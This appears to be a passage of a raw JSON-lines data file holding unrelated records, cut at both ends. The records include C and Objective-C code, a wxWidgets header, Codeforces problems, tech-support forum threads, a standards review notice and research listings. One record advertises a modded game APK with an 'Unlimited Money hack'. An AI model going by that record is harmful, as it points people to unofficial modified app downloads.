implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \"internal.h\"\n\nstatic void *memcpy(void *dst, const void *src, unsigned long len) {\n asm volatile(\n \"rep movsb\\n\\t\"\n : //out\n \"+D\"(dst),\n \"+S\"(src),\n \"+c\"(len)\n : //in\n : //clobber\n \"cc\", \"memory\"\n );\n return dst;\n}\n\nint gatekey_open(char *path, char *authkey) {\n struct gatekey_args args = {\n .op = GATEKEY_OP_OPEN,\n .path = path\n };\n memcpy(&args.authkey, authkey, 64);\n return gatekey_call(&args);\n}\n\nint gatekey_create(char *path, char *authkey_out) {\n struct gatekey_args args = {\n .op = GATEKEY_OP_CREATE,\n .path = path\n };\n int res = gatekey_call(&args);\n memcpy(authkey_out, &args.authkey, 64);\n return res;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 384, "token_count_with_eod": 385, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "/////////////////////////////////////////////////////////////////////////\n// File: wx/msw/taskbar.h\n// Purpose: Defines wxTaskBarIcon class for manipulating icons on the\n// Windows task bar.\n// Author: Julian Smart\n// Modified by:\n// Created: 24/3/98\n// RCS-ID: $Id: taskbar.h,v 1.9.2.1 2002/11/09 00:23:23 VS Exp $\n// Copyright: (c) Julian Smart\n// Licence: wxWindows licence\n/////////////////////////////////////////////////////////////////////////\n\n#ifndef _TASKBAR_H_\n#define _TASKBAR_H_\n\n#ifdef __GNUG__\n#pragma interface \"taskbar.h\"\n#endif\n\n#include \n#include \n#include \n\nclass WXDLLEXPORT wxTaskBarIcon: public wxEvtHandler {\n DECLARE_DYNAMIC_CLASS(wxTaskBarIcon)\npublic:\n wxTaskBarIcon(void);\n virtual ~wxTaskBarIcon(void);\n\n// Accessors\n inline WXHWND GetHWND() const { return m_hWnd; }\n inline bool IsOK() const { return (m_hWnd != 0) ; }\n inline bool IsIconInstalled() const { return m_iconAdded; }\n\n// Operations\n bool SetIcon(const wxIcon& icon, const wxString& tooltip = wxEmptyString);\n bool RemoveIcon(void);\n bool PopupMenu(wxMenu *menu); //, int x, int y);\n\n// Overridables\n virtual void OnMouseMove(wxEvent&);\n virtual void OnLButtonDown(wxEvent&);\n virtual void OnLButtonUp(wxEvent&);\n virtual void OnRButtonDown(wxEvent&);\n virtual void OnRButtonUp(wxEvent&);\n virtual void OnLButtonDClick(wxEvent&);\n virtual void OnRButtonDClick(wxEvent&);\n\n// Implementation\n static wxTaskBarIcon* FindObjectForHWND(WXHWND hWnd);\n static void AddObject(wxTaskBarIcon* obj);\n static void RemoveObject(wxTaskBarIcon* obj);\n static bool RegisterWindowClass();\n static WXHWND CreateTaskBarWindow();\n long WindowProc( WXHWND hWnd, unsigned int msg, unsigned int wParam, long lParam );\n\n// Data members\nprotected:\n WXHWND m_hWnd;\n bool m_iconAdded;\n static wxList sm_taskBarIcons;\n static bool sm_registeredClass;\n static unsigned int sm_taskbarMsg;\n\n // non-virtual default event handlers to forward events to the virtuals\n void _OnMouseMove(wxEvent&);\n void _OnLButtonDown(wxEvent&);\n void _OnLButtonUp(wxEvent&);\n void _OnRButtonDown(wxEvent&);\n void _OnRButtonUp(wxEvent&);\n void _OnLButtonDClick(wxEvent&);\n void _OnRButtonDClick(wxEvent&);\n\n\n DECLARE_EVENT_TABLE()\n};\n\n\n// ----------------------------------------------------------------------------\n// wxTaskBarIcon events\n// ----------------------------------------------------------------------------\n\nclass WXDLLEXPORT wxTaskBarIconEvent : public wxEvent\n{\npublic:\n wxTaskBarIconEvent(wxEventType evtType, wxTaskBarIcon *tbIcon)\n : wxEvent(-1, evtType)\n {\n SetEventObject(tbIcon);\n }\n\n virtual wxEvent *Clone() const { return new wxTaskBarIconEvent(*this); }\n};\n\nBEGIN_DECLARE_EVENT_TYPES()\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_MOVE, 1550 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_LEFT_DOWN, 1551 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_LEFT_UP, 1552 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_RIGHT_DOWN, 1553 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_RIGHT_UP, 1554 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_LEFT_DCLICK, 1555 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_RIGHT_DCLICK, 1556 )\nEND_DECLARE_EVENT_TYPES()\n\n#define EVT_TASKBAR_MOVE(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_MOVE, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_LEFT_DOWN(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_LEFT_DOWN, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_LEFT_UP(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_LEFT_UP, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_RIGHT_DOWN(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_RIGHT_DOWN, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_RIGHT_UP(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_RIGHT_UP, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_LEFT_DCLICK(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_LEFT_DCLICK, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_RIGHT_DCLICK(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_RIGHT_DCLICK, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n\n\n#endif\n // _TASKBAR_H_", "source": "cpt_stack_code", "language": "code", "token_count": 1226, "token_count_with_eod": 1227, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Feature #14540: Survey platform\nRequirements for LimeSurvey\n- Storage resources\n- What should be backed up\n- What should be monitored\n- Assignee changed from sajolida to intrigeri\n- QA Check set to Ready for QA\n- Blueprint changed from https://tails.boum.org/blueprint/survey_platform to https://tails.boum.org/blueprint/survey_platform/#limesurvey-requirements\nOops, I should have used this ticket to track the progress on the requirements.\nAnswering here to #14768:\nBe able to send emails to the outside world; though I might not send any as a start.\nWe have an email system but I don't know if it's configured well enough for random email servers out there to accept our email. We'll see.\nYes! As a start I bet that I will be the first target for these emails. So don't spend time on this and we'll see how it works.\nOther than that, looks good to me.\nBTW in the general section (off-topic, yes): why \"non-commercial\"? (This seems too vague and the way I understand it, LimeSurvey would not qualify.)\nI don't think that's interesting to debate now, so I removed this itchy word from this page.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Each cell in this model is one of three states: burnable-green (0), burning-red (1) or burned-black (2). If a burnable cell has a burning neighbor, it will become burning in the next generation with a certain probability. Each burning cell burns for exactly 1 generation, and then changes to burned. Each cell can also be part of a firewall (state 3). Firewalls (blue) remain in a fixed state and can prevent fires from spreading.\nThe treecell submodel operates similarly to the cell used in the Conway’s Game of Life, computing the next state at each generation (in the “Next_Burning” codechip). The cell neighborhood is computed at the beginning of the simulation and stored as a property; it is referenced in the “Next_Burning” code to determine if a neighbor is burning.\nThe tabulator plug-in provides state data which is graphed.\nNova Online: Firespread (opens in new tab)\nRunning this model:\n1. Click on the “Capture” button in the tool bar.\n2. Click “Load” next to “Capture.”\n3. Click “Exec” to run the model through multiple iterations. Click “Stop” to stop the graph.\n4. To run the model step by step, click “Capture,” “Load,” “Init,” then “Step.”", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is an interactive problem. In the output section below you will see the information about flushing the output.\n\nOn Sunday Leha the hacker took Nura from the house where she lives and went with her to one of the most luxurious restaurants in Vičkopolis. Upon arrival, they left the car in a huge parking lot near the restaurant and hurried inside the building.\n\nIn the restaurant a polite waiter immediately brought the menu to Leha and Noora, consisting of n dishes. It is interesting that all dishes in the menu are numbered with integers from 1 to n. After a little thought, the girl ordered exactly k different dishes from available in the menu. To pass the waiting time while the chefs prepare ordered dishes, the girl invited the hacker to play a game that will help them get to know each other better.\n\nThe game itself is very simple: Noora wants Leha to guess any two dishes among all ordered. At the same time, she is ready to answer only one type of questions. Leha can say two numbers x and y (1 ≤ x, y ≤ n). After that Noora chooses some dish a for the number x such that, at first, a is among the dishes Noora ordered (x can be equal to a), and, secondly, the value $$|x-a|$$ is the minimum possible. By the same rules the girl chooses dish b for y. After that Noora says «TAK» to Leha, if $$|x-a| \\leq |y-b|$$, and «NIE» otherwise. However, the restaurant is preparing quickly, so Leha has enough time to ask no more than 60 questions. After that he should name numbers of any two dishes Noora ordered.\n\nHelp Leha to solve this problem!", "source": "cpt_codeforces", "language": "en", "token_count": 369, "token_count_with_eod": 370, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I’m trying to automate some work in a web application and it worked fine two days ago but since yesterday I always get the following error when I try to click on a UI element. I already tried to change the selector and delay the click but nothing worked. If I disable this click I get the same error two clicks later.\nAn ExceptionDetail, likely created by IncludeExceptionDetailInFaults=true, whose value is:\nSystem.AggregateException: One or more errors occurred. ----> System.ArgumentException: Value does not fall within the expected range.\n— End of inner ExceptionDetail stack trace —\nat UiPath.Core.Activities.ScopeActivity.OnFaulted(NativeActivityFaultContext faultContext, Exception propagatedException, ActivityInstance propagatedFrom)\nat System.Activities.Runtime.FaultCallbackWrapper.Invoke(NativeActivityFaultContext faultContext, Exception propagatedException, ActivityInstance propagatedFrom)\nat System.Activities.Runtime.FaultCallbackWrapper.FaultWorkItem.Execute(ActivityExecutor executor, BookmarkManager bookmarkManager)\nDoes anyone know how to fix that?\nMany thanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Fix: “Upgrade failure: Error 0xc1900101-0x4000d second boot phase migrate-data”\nBelow are 3 related topics aggregated from across the Spiceworks Community with their most helpful replies.\nI recently tried to upgrade a Windows 10 professional machine using the Windows 10 Upgrade Assistant.\nIt failed to upgrade with the error 0x8007001f but didn't really give any other clue as to what was the problem. I've tried the following:\n- Clearing out all the downloaded upgrade files and trying again.\n- Uninstalling audio drivers.\n- Unplugging any unnecessary peripherals.\n- Disabling third party anti-virus. (Does not apply because none is installed).\n- Using chkdsk to fix any partition problems.\n- Ran sfc /scannow. No issues found\nI would like to avoid having to do a clean install since I have two machines with the same issue.\nAnyone else have any issues with upgrading Windows 10?\nMost helpful reply to this topic\nHi, had the same issues on a few W7 Pro. Checking the error log I noticed that the upgrade stopped while upgrading a user profile.\nI deleted the culprit and the upgade went fine.\nI know it might not be the reason of the failure but when I looked at the log, it was the error just before the information about rollingback.\nError: 0xc1900101-0x4000d second boot phase migrate-data\nFollowing on from the following question: https://community.spiceworks.com/topic/2243872-windows-upgrde-to-1903-setupdiag-reports-fatal-migrat.. the system is now failing due to migrate -data failure.\nIn my previous cases, systems that had failed due to this error had locked files, which were stopping the system from upgrading to the latest version and removig those allowed the upgrade(s) to complete successfuly.\nThe machine in in question is a live production machine and is the only machine left in my entire upgrade project, bringing all machines to the build 1903.\nAn image of the production system has been cloned to seperate machine for troubleshooting.\nIn the production env, it's setup as a label printing device, using a mix of the following devices: ZDeisnger TLP 3842 & GX430t which are not attached, but the print profiles remain. No other system using these devices has failed to upgrade - so I don't think it's something to do with those?\nRebuilding the machine is going to take time from our software engineer and it would be good to find out the true cause of the update failure since setup diag is not giving any fruitful information! I would also like to note that this PC has upgraded sucessfuly in the past to it's current build (1607).\nSetupDiag was unable to match to any known failure signatures. System Information: Machine Name = 1D020CLONE Manufacturer = LENOVO Model = 3493AZG HostOSArchitecture = 2057 FirmwareType = PCAT BiosReleaseDate = 20140317000000.000000+000 BiosVendor = LENOVO BIOS Rev: F1KT65A 0.0 BiosVersion = F1KT65AUS HostOSVersion = 10.0.16299 HostOSBuildString = 16299.15.x86fre.rs3_release.170928-1534 TargetOSBuildString = 10.0.18362.474 (19h1_release_svc_prod1.191028-1734) HostOSLanguageId = HostOSEdition = Professional RegisteredAV = Windows Defender FilterDrivers = FileInfo UpgradeStartTime = 26/11/2019 15:23:41 UpgradeEndTime = 26/11/2019 15:47:48 UpgradeElapsedTime = 00:24:07 CV = Acc3ynHDXEeVX6h2 ReportId = AF93B473-CB01-4AD5-95FB-EBC5356B1A92\nWhat I've tried:\n- Attempted upgrade via ISO (obtaining latest updates during setup), and WSUS all resulting in same issue\n- Ran SetupDiag to find out reason for Migrate-Data failure, resulted in no fruitful info\n- Stripped the OS to the very minimum, removing ALL user profiles except the default admin, all folders from C: Root. removed from the domain ect.\n- Removed AV (BD)\n- Update of all system drivers\n- Ran system file check commands: SFC /Scannow... DISM Restore health commands... Reset Windows update components ect.\n- Clean boot from MS CONFIG\nAny suggestions to troubleshooting steps will be deeply appreciated.\nReally seem to be hitting a brick wall now with what to try! :-]\nMost helpful reply to this topic\nHave you tried to do a step-upgrade from 1607 to 1703 or 1709? And then after if that's successful, a step upgrade to 1803 or 1809, and then finally if successful to 1903?\nI know you shouldn't have to do this, but...\nIf you need the ISO's, for any of the versions, I have them and if you PM me a place to upload them (without having to register), I will. Just let me know if you need x86 or x64\nThis tool will help you pin down why Windows 10 upgrade failed. Very useful in the coming months for those Windows 7 in place upgrades.\nSetupDiag works by examining Windows Setup log files. It attempts to parse these log files to determine the root cause of a failure to update or upgrade the computer to Windows 10. SetupDiag can be run on the computer that failed to update, or you can export logs from the computer to another location and run SetupDiag in offline mode.\nMost helpful replies to this topic\nThanks for sharing.\nHopefully it works well, trying to scan through a setup log and actually find something can be a feat.\nThankfully we're all W10 as of last year.\nThis page was compiled from hundreds of thousands of questions and answers posted in our Community.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1419, "token_count_with_eod": 1420, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I dont get it: My liquid Domain is in the shape (shown below) like a bottom of a glass. BUT: When I bake, the liquid fills up a square, outside the domain area as if it’s filling up a cube. any suggestions on how to fix?\nThe domain of the liquid is the bounding box of the object you set as the domain. You should set your glass to be an obstacle, with a domain around it.\nto give more info, a domain is the place a liquid simulation occurs, and it willl always be a cube, no matter what the domain mesh object is (all you can do is scale it). obstaces are the main course you should take for collisions, not domains, since they can be made to any object shape.\nAnd to add to what was allready said. The domain is the boundingbox of the object set as domain.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#ifndef SHIM_SHIM_LOGGER_H_\n#define SHIM_SHIM_LOGGER_H_\n\n#include \"lib/logger/logger.h\"\n\n#include \n\nLogger* shimlogger_new(FILE* file);\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 43, "token_count_with_eod": 44, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Super Contraption is a physics-based sandbox construction game in which you construct machines.\nCreate whatever contraption you can think of!\nSee what kind of machines you can come up with. Examine how your contraptions perform in various environments, such as on the moon or deep beneath the sea. Experiment with gravity, air resistance, magnetism, and other ideas, with new ones being added all the time.\nThere is no core goal to the game other than experimenting and being creative.\nMake a Rube Goldberg contraption or a basic toy.\nBuild anything you want, such as a rocket ship with cupcake cannons or a flying blimp stronghold.\nSave your inventions and come back to them later.\nPlay in a variety of worlds, with new planets and objects being introduced on a regular basis.\nBecause this is a physics simulation game, it should be played on a device that is at least a few years old. When playing Super Contraption on a slower device, the frame rate may be lowered or the game may close.\nIn the coming upgrades, the ability to share contraptions and view other shared contraptions should be available.\nSuper Contraption Hack Details:\nThe mod APK of this game brings you the following additions:\n- Unlimited Money hack\nWhere to Download Super Contraption Mod APK file?\nVisit the Downloads section to download the hack APK.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 284, "token_count_with_eod": 285, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I understand, its a job for a coder but they have retired. Its a really weird thing and i dont know why it happens. The only thing I could think of is maybe theres a problem with the box, since the bug doesnt happen when a staff just makes the item in their bag. But I dunno what that could be. I still want to try and get a video of it just for interests sake, but after that Ill just sell them or use for house deco. Thanks for looking into it tho.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hi guys I am basically new to solidworks. I learn this software as a part of my syllabus. They don't teach us every feature in college. So I took an initiative and learnt assembly and much more on my own. So I would like to know how to incoporate a design on a 3D model? Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 70, "token_count_with_eod": 71, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I was recently asked by a client to give her some advice on expanding overseas and how to approach the setup of the website. People tend to respond better to sites based locally (i.e. Aussies are more likely to click on a .com.au site than a .com site in Google) so how can you have local sites when expanding overseas without dramatically increasing your maintenance costs and what is the best domain structure?\nHere are some considerations (by no means an exhaustive list).\nOne option is to keep the one site and have an overseas domain that takes people to it. This is what we do with our site www.awebsitedesigner.com you will notice when you go there it is exactly the same as http://awebsitedesigner.com.au because it just points directly to it. However as soon as you navigate away from the homepage the true domain is shown. There are other ways you can do this and avoid the real domain from being shown but usually most people want some unique content for their site and give consideration for search engine results so other approaches are preferred.\nOne site (.com) multiple locations within it\nGo to www.electronicarts.com.au you will notice the site takes you to http://www.ea.com/au/ same with www.electronicarts.co.uk takes you to http://www.ea.com/uk. This is one way to handle it. The benefits are you can have all of your one content sitting on the one domain. The downside is it’s not as good for SEO since location specific domains rate higher in location based searches (i.e. .com.au’s will generally rank higher in Google Australia’s searches ‘ particularly if people select “Pages by Australia” which often people do. You still do have to consider the issue of content however. Electronic arts have different content on both locations so its effectively like having 2 websites (depending on how they do it).\n2 local domains ‘ one database\nWith this option you could have www.site.com.au and www.site.co.uk or www.site.com and you could have exactly the same site on both but they could refer to a central database which means you don’t have to maintain 2 sets of content or product catalogues. So when someone purchases the last of a product from www.site.com.au the updated quantity will be reflected on www.site.com or you add a product to www.site.com and it shows up on www.site.com.au as well (because they both look at the same database). Depending on how your site is built this could be possible but also could be tricky because anything that isn’t saved in the database (i.e. images) would somehow have to be copied to both sites. Extra coding would need to be done to make this work.\nWith the above options you could do tricky stuff to show certain content based on the domain. For example you might have everything in the site exactly the same except for the homepage welcome message. You could have the code look at the domain where it is accessed and then show certain content based on that. However if there is extensive differences between both sites your only real option is to have 2 completely separate sites.\n2 Completely separate sites\nThis is the obvious solution, have 2 completely separate sites for both locations. You have to main 2 sites, 2 lots of content etc. When you change anything it needs to be changed twice. This is more costly but the site ends up being more specific to the location which has its benefits for SEO and for visitors and depending on your business model might be required anyway (i.e. some products only available in some areas, shipping costs being different etc).\nThere are lots of options and every company takes a slightly different approach but the ones above are the most common ones that spring to mind.\nDoes anyone know any others?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 776, "token_count_with_eod": 777, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This content has been marked as final. Show 5 replies\nYou can install your own cookie handler before you create WebViews. WebView won't replace whatever cookie handler is already installed.\nThank for your reply Peter,\nI´ve been pursuing your hint last night, but after some long hours analyzing this not sure if i know what you mean.\nHow can i replace the cookiehandler, its an abstract class, i can extended it like the default cookiemanager, but i can´t force webview to use it or can i?\nAnother thing, from this post:\n\"Vasiliy also explained that WebView will install it's own implementation of the CookieHandler, while retaining cookies put into the default one.\"\nIf this true, no matter what i do with the default cookiehandler this will not work, since webview will install it´s own implementation..\nIt seems that someone forgot that an more than 1 webview instance could run at the same time, because the problem only arises if running in the same VM, in different VM it´s behaves as it should.\nIf you have more toughts about this please share.\nWebView installs its own handler only if the default one is null, otherwise it won't replace the already installed one. CookieHandler is static -- that's why two WebViews share the same instance -- so you don't have to do anything special to make WebView aware of the handler. It will just use whatever handler is installed, as any code that uses HttpURLConnection would do.1 person found this helpful\nStill in your custom handler you'll have to somehow distinguish requests coming from two WebViews, that may be tricky given that the interface is simply\nMap get(URI uri, Map> requestHeaders);\nYes, that´s what i understood when i was reading the interface cookiehandler, static.\nVery tricky stuff, and its really not my strong, cookies.\nBut i only want this to work in one website, so i know the ulr for the cookies, i could add some code to differentiate the cookies to be able to have 2 or more of the same, but the problem is how do i get them back in the get method..\nWell, will think about this..If any thoughts about how to make this happen let me know.\nThank you again Peter, this was helpful.\nI found a way to overcome this problem by implementing a custom version of cookiemanager, although the original problem is not solved, i marked this as answered because it provided an solution to my question.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 523, "token_count_with_eod": 524, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "//\n// INSTaskConfigurationPresentStyleBasedViewController.h\n// INSTomato\n//\n// Created by XueFeng Chen on 2021/1/30.\n//\n\n#import \"INSBaseViewController.h\"\n\n@class INSTaskModel;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface INSTaskConfigurationPresentStyleBasedViewController : INSBaseViewController\n\n@property (nonatomic, strong) UIPickerView *pickerView;\n@property (nonatomic, strong) UILabel *descriptionLabel;\n\n@property (nonatomic, strong) INSTaskModel *taskModel;\n\n- (instancetype)initWithTaskModel:(INSTaskModel *)taskModel;\n\n- (void)clickCloseButton:(id)sender;\n\n@end\n\nNS_ASSUME_NONNULL_END", "source": "cpt_stack_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "/*! System call - call to kernel from threads (via software interrupt) */\n\n#define _K_SYSCALL_C_\n\n#include \"syscall.h\"\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"thread.h\"\n#include \n#include \n#include \n\n/*! syscall handlers */\nstatic int (*k_sysfunc[SYSFUNCS]) ( void *params ) =\n{\n\tNULL,\n\n\tsys__sysinfo,\n\tsys__feature,\n\n\tsys__set_errno,\n\tsys__get_errno,\n\tsys__get_errno_ptr,\n\n\tsys__clock_gettime,\n\tsys__clock_settime,\n\tsys__clock_nanosleep,\n\n\tsys__timer_create,\n\tsys__timer_delete,\n\tsys__timer_settime,\n\tsys__timer_gettime,\n\n\tsys__open,\n\tsys__close,\n\tsys__read,\n\tsys__write,\n\tsys__device_status,\n\tsys__poll,\n\n\tsys__pthread_create,\n\tsys__pthread_exit,\n\tsys__pthread_join,\n\tsys__pthread_self,\n\n\tsys__pthread_setschedparam,\n\n\tsys__pthread_mutex_init,\n\tsys__pthread_mutex_destroy,\n\tsys__pthread_mutex_lock,\n\tsys__pthread_mutex_unlock,\n\tsys__pthread_cond_init,\n\tsys__pthread_cond_destroy,\n\tsys__pthread_cond_wait,\n\tsys__pthread_cond_signal,\n\tsys__pthread_cond_broadcast,\n\n\tsys__sem_init,\n\tsys__sem_destroy,\n\tsys__sem_wait,\n\tsys__sem_post,\n\n\tsys__mq_open,\n\tsys__mq_close,\n\tsys__mq_send,\n\tsys__mq_receive,\n\n\tsys__sigaction,\n\tsys__pthread_sigmask,\n\tsys__sigqueue,\n\tsys__sigwaitinfo,\n\n\tsys__posix_spawn\n};\n\n/*!\n * Process syscalls\n * (syscall is forwarded from arch interrupt subsystem to k_syscall)\n */\nvoid k_syscall ( uint irqn )\n{\n\tint id, retval;\n\tvoid *context, *params;\n\n\tASSERT ( irqn == SOFTWARE_INTERRUPT );\n\n\tcontext = kthread_get_context ( NULL ); /* active thread context */\n\n\tid = arch_syscall_get_id ( context );\n\n\tASSERT ( id >= 0 && id < SYSFUNCS );\n\n\tparams = arch_syscall_get_params ( context );\n\n\tretval = k_sysfunc[id] ( params );\n\n\tif ( id != PTHREAD_EXIT )\n\t\tarch_syscall_set_retval ( context, retval );\n}\n\n/*! Stop processor until next interrupt occurs - for idle thread only! */\nint sys__suspend ( void *p )\n{\n\tenable_interrupts ();\n\tsuspend ();\n\tdisable_interrupts ();\n\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 618, "token_count_with_eod": 619, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "We had a string s consisting of n lowercase Latin letters. We made k copies of this string, thus obtaining k identical strings s1, s2, ..., sk. After that, in each of these strings we swapped exactly two characters (the characters we swapped could be identical, but they had different indices in the string).\n\nYou are given k strings s1, s2, ..., sk, and you have to restore any string s so that it is possible to obtain these strings by performing aforementioned operations. Note that the total length of the strings you are given doesn't exceed 5000 (that is, k·n ≤ 5000).", "source": "cpt_codeforces", "language": "en", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "15-day Public Review for Product Life Cycle Support V1.0\nThe OASIS Product Life Cycle Support (PLCS) TC members have produced an updated Committee Specification Draft (CSD) and submitted this specification for 15-day public review:\nProduct Life Cycle Support Version 1.0\nCommittee Specification Draft 02 / Public Review Draft 02\n19 July 2013\nThe purpose of the OASIS Product Life Cycle Support (PLCS) standard is to establish structured data exchange and sharing capabilities for use by industry to support complex engineered assets throughout their total life cycle. The OASIS Product Life Cycle Support (PLCS) standard is defined by Data Exchange Specifications (DEX) that are based upon ISO 10303 (STEP) Application Protocol 239 Product Life Cycle Support. This draft includes the PLCS library, templates, derived SysML and XML models and associated reference data.\nPlease note that this Committee Specification Draft is a highly interlinked collection of HTML documents. The navigation links on the top and in the left column provide accesss to the components of the draft. The link to Help on the navigation links includes an explanation of the organization of the material. The Help topic \"PLCSlib navigation\" explains how to use the interface.\nThe TC is currently developing templates for deployment of the ISO 10303-239 standard, together with associated SysML and XML models to facilitate implementation. It is intended that the work be adopted by ISO.\nPublic Review Period:\nThe public review starts 6 August 2013 at 00:00 GMT and ends 21 August 2013 at 23:59 GMT. The specification was previously submitted for public review .\nThis is an open invitation to comment. OASIS solicits feedback from potential users, developers and others, whether OASIS members or not, for the sake of improving the interoperability and quality of its technical work.\nDue to the complex structure of the material, the TC requests that, when making a comment, you prefix the comment with a label identifying the artifact against which the comment is made:\n- For comments against the PLCS Platform Specific Model: EXPRESS information model, use \"(plcs-psm.exp).\"\n- For comments against the PLCS Platform Specific Model: SysML information model, use \"(plcs-psm.xmi).\"\n- For comments against the XML Schema, use \"(plcs-psm.xsd).\"\n- For comments against the Schematron, use \"(plcs-psm.sch).\"\n- For comments against the PLCS Platform Specific Model: OWL Reference Data, use \"(plcs-psm-en.owl).\"\n- For comments against the PLCS OWL Reference Data, use \"(plcs-rdl-en.owl).\"\n- For comments against a template, use \"Template: .\"\nThe members of the TC thank reviewers in advance for helping to make the comments traceable.\nThe prose specification document and related files are available here:\nPDF (Cover pages only with links to specification):\nZIP distribution files (complete):\nFor your convenience, OASIS provides a complete package of the prose specification and related files in a ZIP distribution file. You can download the ZIP file here:\nAdditional information about this specification and the PLCS TC may be found on the TC's public home page located at:\nComments may be submitted to the TC by any person through the use of the OASIS TC Comment Facility which can be accessed by following the instructions at \"Send A Comment\" at the top of the TC public home page, or directly at:\nFeedback submitted by TC non-members for this work and for other work of this TC is publicly archived and can be viewed at:\nAll comments submitted to OASIS are subject to the OASIS Feedback License, which ensures that the feedback you provide carries the same obligations at least as the obligations of the TC members. In connection with this public review of \"Product Life Cycle Support Version 1.0\", we call your attention to the OASIS IPR Policy applicable especially to the work of this technical committee. All members of the TC should be familiar with this document, which may create obligations regarding the disclosure and availability of a member's patent, copyright, trademark and license rights that read on an approved OASIS specification. OASIS invites any persons who know of any such claims to disclose these if they may be essential to the implementation of the above specification, so that notice of them may be posted to the notice page for this TC's work.\n========== Additional references:\n OASIS Product Life Cycle Support (PLCS) TC\n Previous public reviews:\n30-day public review, 27 March 2013: https://lists.oasis-open.org/archives/tc-announce/201303/msg00007.html\nComment resolution log: http://docs.oasis-open.org/plcs/plcslib/v1.0/csprd01/plcs-plcslib-v1.0-c...\nRF on Limited Terms Mode", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1064, "token_count_with_eod": 1065, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hey all! I've created an open-source Poketch app for the Apple Watch that attempts to emulate some of the \"apps\" from the original Poketch in Pokemon Diamond and Pearl!\nAnti-spam measures seem to be preventing me from linking to the source code, but you can find the link in the description of the video. The idea behind this project was to recreate as many of the original Poketch's features on the Apple Watch using SwiftUI and WatchOS 8. Since this was my first Swift application, I had to learn on the fly as well as discover all of Xcode's fun little quirks like 100gb memory leaks and such. I'm pretty happy with how it turned out, and I've released all the source code under the MPL license!\nLast edited by Idrees,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 165, "token_count_with_eod": 166, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Search for a funded project\nUltra Low Power Consumption Low Noise Cryogenics and Ambient MMIC for Space Telecommunications in Q-band – Low.IQ\nand autonomous applications for the ambient intelligence. Within the framework of this project, low\npress, radio and television broadcasts more intelligible, viewable and searchable at a macro-level of\nThis study concerns the field of Artificial Intelligence, specifically the SAT (satisfiability problem\nTechnical, economic and environmental feasibility of solide oxyde fuel cells (SOFC) for electricity generation from biogas – PILE-EAU-BIOGAZ\ndesign and integration of systems including intelligent management of energy and finally evaluate the\nStudy of signal transduction mechanisms through investigation of receptor conformational changes – ARCHITECT\nIt is crucial to understand the structural bases of membrane receptor function and to link the receptor conformational changes to specific cell responses. In particular, to develop therapeutics with an increased beneficial effect and less side effects, it is 